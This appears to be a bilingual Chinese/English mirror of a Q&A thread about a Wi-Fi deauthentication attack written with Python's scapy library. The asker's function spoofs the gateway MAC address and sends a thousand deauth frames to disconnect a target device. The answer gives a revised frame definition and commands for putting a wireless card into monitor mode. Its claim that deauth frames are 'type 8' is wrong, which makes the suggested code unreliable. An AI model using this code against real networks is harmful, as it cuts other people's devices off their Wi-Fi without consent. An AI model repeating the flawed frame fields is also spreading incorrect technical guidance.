在 python 中使用 scapy 进行 Deauth 攻击 [英] Deauth attack with scapy in python
问题描述
我来找你,因为我目前正在编写一个局域网攻击框架,以更好地了解它是如何工作的,我想添加一个 deauth 攻击.这是函数的代码,但它不起作用,我不明白有什么问题.
Hi I'm coming towards you cause I'm currently coding a framework for LAN attack to understand better how it works, and I want to add a deauth attack. Here is the code of the function, but it doesn't work and I do not understand what is wrong.
def disconnect(self):
target_mac = self.t_mac
gw_mac = self.gw_mac # gateway mac address
dot11 = Dot11(type=0, addr1=target_mac, addr2=gw_mac, addr3=gw_mac)
pkt = RadioTap()/dot11/Dot11Deauth(reason=7)
scapy.sendp(pkt, inter=0.1, count=1000, verbose=0)
我在 Windows 10 上,用wireshark 分析交流.数据包在wireshark上看起来很奇怪.希望你能给我一些信息来帮助我.在此先感谢各位;)数据包Wireshark Dot11
I am on Windows 10, and analysis the exchange with wireshark. The packet seems really weird on wireshark. Hope you can give me some information to help. Thanks in advance guys ;) Packet Wireshark Dot11
推荐答案
类型 8 和子类型 12 的 Dot11 数据包是 Dot11Deauth 数据包.所以,当你定义 dot11
时试试这个:
A Dot11 packet with type 8 and subtype 12 is a Dot11Deauth packet.
So, when you define dot11
try this:
dot11 = Dot11(type=8, subtype=12, addr1=target_mac, addr2=gw_mac, addr3=gw_mac)
此外,尝试将您的接口置于监控模式并确保使用无线接口(例如 wlan0、wlan1 而不是 eth0,即以太网).在 shell 中运行此命令:
Also, try to put your interface in monitor mode and make sure to use a wireless interface (like wlan0, wlan1 and not eth0 wich is ethernet). Run in shell this commands:
ifconfig <IFACE> down
iwconfig <IFACE> mode monitor
ifconfig <IFACE> up
其中 IFACE 是您要使用的界面.只需运行 ifconfig 来检查哪个可用.
where IFACE is the interface you want to use. Just run ifconfig to check wich one is available.
这篇关于在 python 中使用 scapy 进行 Deauth 攻击的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!